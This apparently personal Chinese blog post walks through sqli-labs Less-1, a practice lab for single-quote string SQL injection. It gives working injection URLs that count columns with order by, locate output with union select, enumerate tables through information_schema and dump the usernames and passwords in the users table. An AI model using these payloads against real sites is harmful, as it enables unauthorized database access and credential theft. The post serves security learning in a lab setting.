Less-1:单引号字符型 SQL 注入

462 字
2 分钟
Less-1:单引号字符型 SQL 注入

一、正常访问#

Less-1 初始页面
Less-1 初始页面

页面提示需要传入一个 id 参数:

http://192.168.1.17:8082/Less-1/?id=1

传入 id 参数后的页面
传入 id 参数后的页面

接着尝试在参数后面添加单引号,判断是否存在注入点:

http://192.168.1.17:8082/Less-1/?id=1'

单引号触发 SQL 报错
单引号触发 SQL 报错

页面返回 SQL 报错,说明传入的单引号参与了后端 SQL 语句拼接。

SQL 报错信息
SQL 报错信息

后续可以使用 --+ 注释掉后面的 SQL 语句,从而消除多余内容导致的语法错误。

二、判断查询字段数#

使用 order by 逐步判断当前查询语句的字段数:

http://192.168.1.17:8082/Less-1/?id=1' order by 1 --+
http://192.168.1.17:8082/Less-1/?id=1' order by 2 --+
http://192.168.1.17:8082/Less-1/?id=1' order by 3 --+
http://192.168.1.17:8082/Less-1/?id=1' order by 4 --+

当 order by 4 页面报错时,说明当前查询语句只有 3 个字段。

order by 4 报错
order by 4 报错

确认字段数后,再使用 union select 判断页面的回显位置:

http://192.168.1.17:8082/Less-1/?id=1' and 1=2 union select 1,2,3 --+

union select 判断回显位置
union select 判断回显位置

从页面结果可以看到,第 2 列和第 3 列会回显到页面上。

三、查询数据库信息#

先使用 MySQL 自带的 database() 函数查询当前数据库名:

http://192.168.1.17:8082/Less-1/?id=1' and 1=2 union select 1,2,database() --+

查询当前数据库名
查询当前数据库名

再通过 information_schema.tables 查询 security 数据库中的表名:

http://192.168.1.17:8082/Less-1/?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

这里使用 group_concat() 将多个表名合并到同一列中,方便在页面回显位置查看。

查询 security 数据库中的表名
查询 security 数据库中的表名

接下来以 users 表为例,查询该表中的字段名:

http://192.168.1.17:8082/Less-1/?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

查询 users 表字段名
查询 users 表字段名

可以看到,users 表中有 3 个字段,分别是 id、username、password。

最后根据字段名查询表中的数据:

http://192.168.1.17:8082/Less-1/?id=1' and 1=2 union select 1,2,group_concat(username,':',password) from users --+

查询 users 表数据
查询 users 表数据

通过页面回显,可以获取 users 表中的用户名和密码数据。

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

Less-1:单引号字符型 SQL 注入
https://ld.ac.cn/posts/less-1-single-quote-sql-injection/
作者
Li
发布于
2026-07-03
许可协议
CC BY-NC-SA 4.0
相关文章 智能推荐
1
Emby /Connect/Exchange 越权令牌签发漏洞分析:一个空参数如何把普通用户送进管理员
网络安全 Emby Server 4.1.1.0 至 4.11.0.6 的 Emby Connect 交换接口存在授权校验缺陷:ConnectUserId 缺失时不拒绝、目标用户靠隐式查询决定、交换凭证与用户无绑定校验,普通用户可能直接换出管理员会话。本文拆解三段式根因,给出代码级修复、Nginx 应急阻断与回归验收清单。
2
Claude Code 保姆级教程:安装登录、CLAUDE.md、Subagents、Hooks、Skills 到后台 Agent 全解
AI编程 2026 年 Claude Code 最全中文教程:本机实测 v2.1.283 安装登录流程,讲透 CLAUDE.md 四级记忆体系、Subagents 与 Agent Teams 的区别、Hooks 生命周期自动化、Skills、MCP 接入、后台会话与 -p 无头模式,附权限模型和安全建议。
3
vibe-coding-cn 仓库导读:一套中文 Vibe Coding 的"道法术器"工程体系
AI编程 tradecatlabs/vibe-coding-cn 是 16.7k star 的中文 Vibe Coding 从入门到精通教程。本文不抄内容,只做导读:拆解它的六条核心命题、道法术器框架、拼好码方法论、仓库结构和新手路线,帮你判断这套体系值不值得跟。
4
Codex 桌面客户端最全使用教程:从安装登录到 Worktree、Skills、自动化与 Computer Use
AI编程 2026 年最值得上手的 AI 编程客户端。本文覆盖 Codex App(现已并入 ChatGPT 桌面端)的下载安装、账号与计费、界面布局、项目与线程、权限沙箱、Git 工作树、代码审查提交、Skills、定时任务、插件与内置浏览器、Computer Use、文档生成、手机远程指挥和常见坑,一篇讲透。
5
看懂 AS 号与国际线路:从 CN2、9929、CMI 到 NTT/GTT,选 VPS 前必须补的一堂网络课
网络与自托管 什么是 AS 号?Tier 1 运营商和精品网是怎么回事?本文用真实 BGP 数据与 traceroute 实测,系统讲透 163、CN2 GT/GIA、联通 9929、移动 CMI/CMIN2 以及 NTT、GTT、Cogent 等国际线路的区别与选购方法。
随机文章 随机推荐
Profile Image of the Author
Li
技术爱好者 / Tech enthusiast
公告
欢迎来到我的博客!这是一则示例公告。
音乐
封面

音乐

暂未播放

0:00 0:00
暂无歌词
分类
标签
站点统计
文章
13
分类
7
标签
69
总字数
42,233
运行时长
0 天
最后活动
0 天前
站点信息
构建平台
GitHub Actions
博客版本
Firefly v6.12.3
文章许可
CC BY-NC-SA 4.0

文章目录